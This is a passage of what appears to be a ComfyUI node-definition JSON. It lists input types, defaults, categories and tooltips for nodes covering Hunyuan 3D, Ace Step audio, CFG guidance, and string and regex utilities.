["CONDITIONING"], "output_is_list": [false], "output_name": ["conditioning"], "output_tooltips": [null], "output_matchtypes": null, "name": "LotusConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_lotus", "category": "model/conditioning/lotus", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyLatentHunyuan3Dv2": {"input": {"required": {"resolution": ["INT", {"default": 3072, "min": 1, "max": 8192}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["resolution", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyLatentHunyuan3Dv2", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2Conditioning": {"input": {"required": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": ["clip_vision_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2Conditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "Hunyuan3Dv2ConditioningMultiView": {"input": {"required": {}, "optional": {"front": ["CLIP_VISION_OUTPUT", {}], "left": ["CLIP_VISION_OUTPUT", {}], "back": ["CLIP_VISION_OUTPUT", {}], "right": ["CLIP_VISION_OUTPUT", {}]}}, "input_order": {"required": [], "optional": ["front", "left", "back", "right"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING"], "output_is_list": [false, false], "output_name": ["positive", "negative"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Hunyuan3Dv2ConditioningMultiView", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/conditioning/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VAEDecodeHunyuan3D": {"input": {"required": {"samples": ["LATENT", {}], "vae": ["VAE", {}], "num_chunks": ["INT", {"advanced": true, "default": 8000, "min": 1000, "max": 500000}], "octree_resolution": ["INT", {"advanced": true, "default": 256, "min": 16, "max": 512}]}}, "input_order": {"required": ["samples", "vae", "num_chunks", "octree_resolution"]}, "is_input_list": false, "output": ["VOXEL"], "output_is_list": [false], "output_name": ["VOXEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "VAEDecodeHunyuan3D", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "model/latent/hunyuan 3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMeshBasic": {"input": {"required": {"voxel": ["VOXEL", {}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMeshBasic", "display_name": "Voxel to Mesh (Basic) (DEPRECATED)", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VoxelToMesh": {"input": {"required": {"voxel": ["VOXEL", {}], "algorithm": ["COMBO", {"multiselect": false, "options": ["surface net", "basic"]}], "threshold": ["FLOAT", {"default": 0.6, "min": -1.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["voxel", "algorithm", "threshold"]}, "is_input_list": false, "output": ["MESH"], "output_is_list": [false], "output_name": ["MESH"], "output_tooltips": [null], "output_matchtypes": null, "name": "VoxelToMesh", "display_name": "Voxel to Mesh", "description": "Converts a voxel grid to a mesh.", "python_module": "comfy_extras.nodes_hunyuan3d", "category": "3d", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveString": {"input": {"required": {"value": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveString", "display_name": "Text String (DEPRECATED)", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": true, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text box", "prompt"], "essentials_category": null, "has_intermediate_output": false}, "PrimitiveStringMultiline": {"input": {"required": {"value": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveStringMultiline", "display_name": "Input Text", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["text", "string", "text multiline", "string multiline", "text box", "prompt"], "essentials_category": "Basics", "has_intermediate_output": false}, "PrimitiveInt": {"input": {"required": {"value": ["INT", {"min": -9223372036854775807, "max": 9223372036854775807, "control_after_generate": "fixed"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["INT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveInt", "display_name": "Int", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveFloat": {"input": {"required": {"value": ["FLOAT", {"min": -9223372036854775807, "max": 9223372036854775807, "step": 0.1}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["FLOAT"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveFloat", "display_name": "Float", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PrimitiveBoolean": {"input": {"required": {"value": ["BOOLEAN", {}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "PrimitiveBoolean", "display_name": "Boolean", "description": "", "python_module": "comfy_extras.nodes_primitive", "category": "utilities/primitive", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGZeroStar": {"input": {"required": {"model": ["MODEL", {}]}}, "input_order": {"required": ["model"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGZeroStar", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGNorm": {"input": {"required": {"model": ["MODEL", {}], "strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01}]}, "optional": {"pre_cfg": ["BOOLEAN", {"tooltip": "If true, rescale the combined noise BEFORE the sampler's CFG combine, without clamping (can amplify). Matches the norm-scaled CFG used by models like Lens. Default false keeps the original post-CFG x0-space attenuate-only behavior.", "default": false}]}}, "input_order": {"required": ["model", "strength"], "optional": ["pre_cfg"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["patched_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGNorm", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_cfg", "category": "advanced/guidance", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OptimalStepsScheduler": {"input": {"required": {"model_type": ["COMBO", {"multiselect": false, "options": ["FLUX", "Wan", "Chroma"]}], "steps": ["INT", {"default": 20, "min": 3, "max": 1000}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model_type", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "OptimalStepsScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_optimalsteps", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "QuadrupleCLIPLoader": {"input": {"required": {"clip_name1": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name2": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name3": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}], "clip_name4": ["COMBO", {"multiselect": false, "options": ["clip_l.safetensors", "qwen_3_4b.safetensors", "t5xxl_fp16.safetensors"]}]}}, "input_order": {"required": ["clip_name1", "clip_name2", "clip_name3", "clip_name4"]}, "is_input_list": false, "output": ["CLIP"], "output_is_list": [false], "output_name": ["CLIP"], "output_tooltips": [null], "output_matchtypes": null, "name": "QuadrupleCLIPLoader", "display_name": "Load CLIP (Quadruple)", "description": "Recipes:\nhidream: long clip-l, long clip-g, t5xxl, llama_8b_3.1_instruct", "python_module": "comfy_extras.nodes_hidream", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CLIPTextEncodeHiDream": {"input": {"required": {"clip": ["CLIP", {}], "clip_l": ["STRING", {"multiline": true, "dynamicPrompts": true}], "clip_g": ["STRING", {"multiline": true, "dynamicPrompts": true}], "t5xxl": ["STRING", {"multiline": true, "dynamicPrompts": true}], "llama": ["STRING", {"multiline": true, "dynamicPrompts": true}]}}, "input_order": {"required": ["clip", "clip_l", "clip_g", "t5xxl", "llama"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CLIPTextEncodeHiDream", "display_name": "CLIP Text Encode (HiDream)", "description": "", "python_module": "comfy_extras.nodes_hidream", "category": "model/conditioning/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["hidream prompt"], "essentials_category": null, "has_intermediate_output": false}, "FreSca": {"input": {"required": {"model": ["MODEL", {}], "scale_low": ["FLOAT", {"tooltip": "Scaling factor for low-frequency components", "advanced": true, "default": 1.0, "min": 0, "max": 10, "step": 0.01}], "scale_high": ["FLOAT", {"tooltip": "Scaling factor for high-frequency components", "advanced": true, "default": 1.25, "min": 0, "max": 10, "step": 0.01}], "freq_cutoff": ["INT", {"tooltip": "Number of frequency indices around center to consider as low-frequency", "advanced": true, "default": 20, "min": 1, "max": 10000, "step": 1}]}}, "input_order": {"required": ["model", "scale_low", "scale_high", "freq_cutoff"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FreSca", "display_name": "FreSca", "description": "Applies frequency-dependent scaling to the guidance", "python_module": "comfy_extras.nodes_fresca", "category": "experimental", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["frequency guidance"], "essentials_category": null, "has_intermediate_output": false}, "APG": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"tooltip": "Controls the scale of the parallel guidance vector. Default CFG behavior at a setting of 1.", "advanced": true, "default": 1.0, "min": -10.0, "max": 10.0, "step": 0.01}], "norm_threshold": ["FLOAT", {"tooltip": "Normalize guidance vector to this value, normalization disable at a setting of 0.", "advanced": true, "default": 5.0, "min": 0.0, "max": 50.0, "step": 0.1}], "momentum": ["FLOAT", {"tooltip": "Controls a running average of guidance during diffusion, disabled at a setting of 0.", "advanced": true, "default": 0.0, "min": -5.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "eta", "norm_threshold", "momentum"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "APG", "display_name": "Adaptive Projected Guidance", "description": "", "python_module": "comfy_extras.nodes_apg", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "PreviewAny": {"input": {"required": {"source": ["*", {}]}}, "input_order": {"required": ["source"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "name": "PreviewAny", "display_name": "Preview as Text", "description": "", "python_module": "comfy_extras.nodes_preview_any", "category": "utilities", "output_node": true, "has_intermediate_output": false, "search_aliases": ["show output", "inspect", "debug", "print value", "show text"]}, "TextEncodeAceStepAudio": {"input": {"required": {"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics_strength": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "lyrics_strength"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStepLatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.1}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStepLatentAudio", "display_name": "Empty Ace Step 1.0 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "TextEncodeAceStepAudio1.5": {"input": {"required": {"clip": ["CLIP", {}], "tags": ["STRING", {"multiline": true, "dynamicPrompts": true}], "lyrics": ["STRING", {"multiline": true, "dynamicPrompts": true}], "seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}], "bpm": ["INT", {"default": 120, "min": 10, "max": 300}], "duration": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 2000.0, "step": 0.1}], "timesignature": ["COMBO", {"multiselect": false, "options": ["2", "3", "4", "6"]}], "language": ["COMBO", {"default": "en", "multiselect": false, "options": ["ar", "az", "bg", "bn", "ca", "cs", "da", "de", "el", "en", "es", "fa", "fi", "fr", "he", "hi", "hr", "ht", "hu", "id", "is", "it", "ja", "ko", "la", "lt", "ms", "ne", "nl", "no", "pa", "pl", "pt", "ro", "ru", "sa", "sk", "sr", "sv", "sw", "ta", "te", "th", "tl", "tr", "uk", "ur", "vi", "yue", "zh", "unknown"]}], "keyscale": ["COMBO", {"multiselect": false, "options": ["C major", "C# major", "Db major", "D major", "D# major", "Eb major", "E major", "F major", "F# major", "Gb major", "G major", "G# major", "Ab major", "A major", "A# major", "Bb major", "B major", "C minor", "C# minor", "Db minor", "D minor", "D# minor", "Eb minor", "E minor", "F minor", "F# minor", "Gb minor", "G minor", "G# minor", "Ab minor", "A minor", "A# minor", "Bb minor", "B minor"]}], "generate_audio_codes": ["BOOLEAN", {"tooltip": "Enable the LLM that generates audio codes. This can be slow but will increase the quality of the generated audio. Turn this off if you are giving the model an audio reference.", "advanced": true, "default": true}], "cfg_scale": ["FLOAT", {"advanced": true, "default": 2.0, "min": 0.0, "max": 100.0, "step": 0.1}], "temperature": ["FLOAT", {"advanced": true, "default": 0.85, "min": 0.0, "max": 2.0, "step": 0.01}], "top_p": ["FLOAT", {"advanced": true, "default": 0.9, "min": 0.0, "max": 2000.0, "step": 0.01}], "top_k": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 100}], "min_p": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.001}]}}, "input_order": {"required": ["clip", "tags", "lyrics", "seed", "bpm", "duration", "timesignature", "language", "keyscale", "generate_audio_codes", "cfg_scale", "temperature", "top_p", "top_k", "min_p"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "TextEncodeAceStepAudio1.5", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyAceStep1.5LatentAudio": {"input": {"required": {"seconds": ["FLOAT", {"default": 120.0, "min": 1.0, "max": 1000.0, "step": 0.01}], "batch_size": ["INT", {"tooltip": "The number of latent images in the batch.", "default": 1, "min": 1, "max": 4096}]}}, "input_order": {"required": ["seconds", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyAceStep1.5LatentAudio", "display_name": "Empty Ace Step 1.5 Latent Audio", "description": "", "python_module": "comfy_extras.nodes_ace", "category": "model/latent/ace", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ReferenceTimbreAudio": {"input": {"required": {"conditioning": ["CONDITIONING", {}]}, "optional": {"latent": ["LATENT", {}]}}, "input_order": {"required": ["conditioning"], "optional": ["latent"]}, "is_input_list": false, "output": ["CONDITIONING"], "output_is_list": [false], "output_name": ["CONDITIONING"], "output_tooltips": [null], "output_matchtypes": null, "name": "ReferenceTimbreAudio", "display_name": "Set Reference Audio", "description": "This node sets the reference audio for ace step 1.5", "python_module": "comfy_extras.nodes_ace", "category": "model/conditioning", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "StringFormat": {"input": {"required": {"values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["*", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 0}}], "f_string": ["STRING", {"default": "{a}", "multiline": true}]}}, "input_order": {"required": ["values", "f_string"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringFormat", "display_name": "Format Text", "description": "Same as Python's string format method. Supports all of Python's format options and features.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["string", "format"], "essentials_category": null, "has_intermediate_output": false}, "StringConcatenate": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "delimiter": ["STRING", {"default": "", "multiline": false}]}}, "input_order": {"required": ["string_a", "string_b", "delimiter"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringConcatenate", "display_name": "Concatenate Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["concatenate", "text concat", "join text", "merge text", "combine strings", "string concat", "append text", "combine text"], "essentials_category": null, "has_intermediate_output": false}, "StringSubstring": {"input": {"required": {"string": ["STRING", {"multiline": true}], "start": ["INT", {}], "end": ["INT", {}]}}, "input_order": {"required": ["string", "start", "end"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringSubstring", "display_name": "Substring", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["substring", "extract text", "text portion"], "essentials_category": null, "has_intermediate_output": false}, "StringLength": {"input": {"required": {"string": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string"]}, "is_input_list": false, "output": ["INT"], "output_is_list": [false], "output_name": ["length"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringLength", "display_name": "Text Length", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["character count", "text size", "string length"], "essentials_category": null, "has_intermediate_output": false}, "CaseConverter": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["UPPERCASE", "lowercase", "Capitalize", "Title Case"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "CaseConverter", "display_name": "Convert Text Case", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["case converter", "text case", "uppercase", "lowercase", "capitalize"], "essentials_category": null, "has_intermediate_output": false}, "StringTrim": {"input": {"required": {"string": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Both", "Left", "Right"]}]}}, "input_order": {"required": ["string", "mode"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringTrim", "display_name": "Trim Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["trim", "clean whitespace", "remove whitespace", "remove spaces", "strip"], "essentials_category": null, "has_intermediate_output": false}, "StringReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "find": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}}, "input_order": {"required": ["string", "find", "replace"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringReplace", "display_name": "Replace Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["replace", "find and replace", "substitute", "swap text"], "essentials_category": null, "has_intermediate_output": false}, "StringContains": {"input": {"required": {"string": ["STRING", {"multiline": true}], "substring": ["STRING", {"multiline": true}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string", "substring", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["contains"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringContains", "display_name": "Contains Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["contains", "text includes", "string includes"], "essentials_category": null, "has_intermediate_output": false}, "StringCompare": {"input": {"required": {"string_a": ["STRING", {"multiline": true}], "string_b": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["Starts With", "Ends With", "Equal"]}], "case_sensitive": ["BOOLEAN", {"advanced": true, "default": true}]}}, "input_order": {"required": ["string_a", "string_b", "mode", "case_sensitive"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["BOOLEAN"], "output_tooltips": [null], "output_matchtypes": null, "name": "StringCompare", "display_name": "Compare Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["compare", "text match", "string equals", "starts with", "ends with"], "essentials_category": null, "has_intermediate_output": false}, "RegexMatch": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["string", "regex_pattern", "case_insensitive", "multiline", "dotall"]}, "is_input_list": false, "output": ["BOOLEAN"], "output_is_list": [false], "output_name": ["matches"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexMatch", "display_name": "Match Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex match", "regex", "pattern match", "text contains", "string match"], "essentials_category": null, "has_intermediate_output": false}, "RegexExtract": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "mode": ["COMBO", {"multiselect": false, "options": ["First Match", "All Matches", "First Group", "All Groups"]}], "case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"advanced": true, "default": false}], "group_index": ["INT", {"advanced": true, "default": 1, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "mode", "case_insensitive", "multiline", "dotall", "group_index"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexExtract", "display_name": "Extract Text", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex extract", "regex", "pattern extract", "text parser", "parse text"], "essentials_category": null, "has_intermediate_output": false}, "RegexReplace": {"input": {"required": {"string": ["STRING", {"multiline": true}], "regex_pattern": ["STRING", {"multiline": true}], "replace": ["STRING", {"multiline": true}]}, "optional": {"case_insensitive": ["BOOLEAN", {"advanced": true, "default": true}], "multiline": ["BOOLEAN", {"advanced": true, "default": false}], "dotall": ["BOOLEAN", {"tooltip": "When enabled, the dot (.) character will match any character including newline characters. When disabled, dots won't match newlines.", "advanced": true, "default": false}], "count": ["INT", {"tooltip": "Maximum number of replacements to make. Set to 0 to replace all occurrences (default). Set to 1 to replace only the first match, 2 for the first two matches, etc.", "advanced": true, "default": 0, "min": 0, "max": 100}]}}, "input_order": {"required": ["string", "regex_pattern", "replace"], "optional": ["case_insensitive", "multiline", "dotall", "count"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "RegexReplace", "display_name": "Replace Text (Regex)", "description": "Find and replace text using regex patterns.", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["regex replace", "regex", "pattern replace", "substitution"], "essentials_category": null, "has_intermediate_output": false}, "JsonExtractString": {"input": {"required": {"json_string": ["STRING", {"multiline": true}], "key": ["STRING", {"multiline": false}]}}, "input_order": {"required": ["json_string", "key"]}, "is_input_list": false, "output": ["STRING"], "output_is_list": [false], "output_name": ["STRING"], "output_tooltips": [null], "output_matchtypes": null, "name": "JsonExtractString", "display_name": "Extract Text from JSON", "description": "", "python_module": "comfy_extras.nodes_string", "category": "text", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["json", "extract json", "parse json", "json value", "read json"], "essentials_category": null, "has_intermediate_output": false}, "WanCameraEmbedding": {"input": {"required": {"camera_pose": ["COMBO", {"default": "Static", "multiselect": false, "options": ["Static", "Pan Up", "Pan Down", "Pan Left", "Pan Right", "Zoom In", "Zoom Out", "Anti Clockwise (ACW)", "ClockWise (CW)"]}], "width": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], 